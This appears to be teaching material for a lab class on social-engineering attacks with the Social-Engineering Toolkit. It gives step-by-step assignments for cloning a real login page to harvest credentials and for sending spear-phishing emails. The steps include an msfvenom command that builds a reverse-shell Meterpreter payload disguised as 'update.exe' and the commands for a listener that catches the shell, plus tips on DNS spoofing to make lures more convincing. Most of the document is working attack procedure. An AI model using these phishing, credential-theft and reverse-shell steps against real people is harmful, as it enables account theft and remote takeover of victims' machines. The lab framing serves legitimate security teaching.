Web Attacks
The Social-Engineering Attacks menu, and choose option 2 (Website Attack Vectors).

The Java Applet Attack Method automates the Java-signed applet attack.

The Metasploit Browser Exploit Method allows you to use all of Metasploit's browser-exploitation client-side attacks without having to set parameters manually, by knowing Metasploit syntax.

The Tabnabbing Attack Method relies on users' propensity to build up a collection of open browser tabs. When the user first opens the attack page, it says "Please wait." Naturally, the user switches back to another tab while he waits. Once the attack tab is no longer in focus, it loads the attack site (which can be a clone of any website you like), with the goal of tricking the user into supplying his credentials or otherwise interacting with the malicious site. The assumption is that the user will use the first tab he encounters that looks legitimate.

The Credential Harvester Attack Method helps create websites to trick users into giving up their credentials.

Class Assignment 1: Credential Harvester Attack

Objective:

Perform a **Credential Harvester Attack** using the **Social-Engineering Toolkit (SET)** to clone a login page, lure a victim to it, and capture submitted credentials.

Setup Overview:

- **Attacker Machine**: Kali Linux
- **Victim Machine**: Windows (in VirtualBox, with browser access)

Step-by-Step Instructions:

Step 1: Set Up the Network

Ensure **Kali and the Windows VM** are on the **same network**:

- Use **VirtualBox → Network Adapter → Bridged Adapter** or **Host-Only Adapter**
- Verify IPs:

```
ifconfig   # on Kali
ipconfig   # on Windows
```

- Test connectivity:

```
ping <Victim-IP>  # from Kali
ping <Kali-IP>    # from Victim
```

Step 2: Launch Social-Engineering Toolkit (SET)

In Kali terminal:

```
sudo setoolkit
```

- If it’s not installed:

```
sudo apt install set
```

Step 3: Navigate Through SET

You'll see a numbered menu. Choose:

1. **Social-Engineering Attacks**
2. **Website Attack Vectors**
3. **Credential Harvester Attack Method**

Step 4: Choose Attack Setup Method

You'll be prompted:

- Select:
  2) Site Cloner

Step 5: Enter Kali IP Address

You'll be asked for the **IP address to listen on**:

```
Enter the IP address for the POST back: <Kali-IP>
```

Find it using:

```
ifconfig
```

Example:

```
Enter the IP address: 192.168.1.100
```

Step 6: Clone a Legitimate Website

SET will ask:

```
Enter the URL to clone:
```

Enter a real website like:

```
https://facebook.com
```

> It will clone the page and host it on your Kali machine.

Step 7: SET Hosts the Page

SET now starts a web server and logs all credentials submitted by the victim.

You will see:

```
[*] Credential Harvester is running...
```

Step 8: Trick the Victim

On your **Windows victim VM**, open the browser and enter:

```
http://<Kali-IP>
```

Example:

```
http://192.168.1.100
```

It will show the cloned site.

Step 9: Capture Credentials

When the victim enters their **username/password**, SET captures the data.

Back in Kali terminal:

```
[*] WE GOT A HIT! Printing the output:
Username: xyz
Password: 12345
```

You can also find logs at:

```
/var/www/html
```

or

```
~/.set/reports/
```

Step 10: Clean Up

Once done:

```
sudo service apache2 stop
```

Delete cloned pages if necessary:

```
sudo rm -rf /var/www/html/*
```

Additional Notes

- You can use DNS spoofing or shorten the URL to make it more convincing.
- Ensure firewalls (on Windows) are not blocking access to the Kali server.
- For HTTPS cloning, SET might not replicate SSL correctly—it's typically downgraded to HTTP.

Class Assignment 2: Demonstrate Mass Email Attack (Spear Phishing) using SET

Objective:

Send a crafted phishing email to a victim (e.g., with a malicious link or attachment) and demonstrate how attackers can trick users into clicking or downloading harmful content.

Lab Requirements:

- Kali Linux (attacker)
- Windows VM (victim) with email access (Outlook, Thunderbird, or webmail)
- A local or dummy mail server, or free SMTP relay for test purposes (like **smtp.gmail.com** with app password)
- Same internal network or access to victim's email

Important Notes

- Use dummy email accounts or set up an internal email server (e.g., **MailCatcher**, **Sendmail**, or **Postfix** in lab).
- Avoid using real Gmail for anything beyond basic testing — it will block many phishing attempts.

Step-by-Step Guide

Step 1: Launch SET

```
sudo setoolkit
```

Choose:

```
1) Social-Engineering Attacks
5) Mass Mailer Attack
```

Step 2: Choose Email Attack Type

Options:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

For lab purposes, choose:

```
1) E-Mail Attack Single Email Address
```

Or use 2 if testing with multiple internal accounts.

Step 3: Choose Email Template Type

You'll be prompted:

```
1) Use a pre-defined template
2) One-time use email template
3) Email with attachment
```

- **Choose 1 or 2** if you want to send a link.
- **Choose 3** to send a payload (like a fake PDF/EXE generated via Metasploit or SET).

Step 4: Enter Email Details

You'll be prompted for:

- **From Name** (e.g., "Admin Team")
- **From Email** (e.g., `admin@lab.com`)
- **Subject** (e.g., "Important Security Update")
- **Email Body** (if using custom template)

Step 5: Configure SMTP Settings

You'll be prompted:

```
1) Use own server
2) Use Gmail
```

Option 2 (Gmail):

- Enter SMTP: `smtp.gmail.com`
- Port: `587`
- Use a Gmail account (enable **App Passwords** if 2FA is on)

Example:

- Email: `labtesting123@gmail.com`
- App password: `xxxx xxxx xxxx xxxx`

Gmail may block some phishing emails. It’s safer to use your **own SMTP server** in a closed lab.

Step 6: Choose Payload or Link

If you chose:

- **Option 1 or 2**: Include a fake link like:

  ```
  http://192.168.1.100/login-update
  ```

  (host a fake site using SET or Apache)

- **Option 3**: Attach a file like:

  - A **malicious payload** (EXE) created using:

    ```
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali-IP>
    LPORT=4444 -f exe > update.exe
    ```

Step 7: Send Email

SET will attempt to connect and send the email.

Step 8: Victim Interaction

On the Windows VM:

- Check the mailbox
- Click the link or run the attachment
- If it's a payload: start Metasploit listener on Kali:

  ```
  msfconsole
  use exploit/multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST <Kali-IP>
  set LPORT 4444
  run
  ```

Optional Challenge for Students

Create and send a phishing email using SET that:

- Redirects the user to a cloned login page (Credential Harvester)
- OR includes a malware attachment (generated with Metasploit)

Students should submit:

- Screenshot of SET sending the email
- Screenshot of email received on the victim
- Captured credentials or Meterpreter session
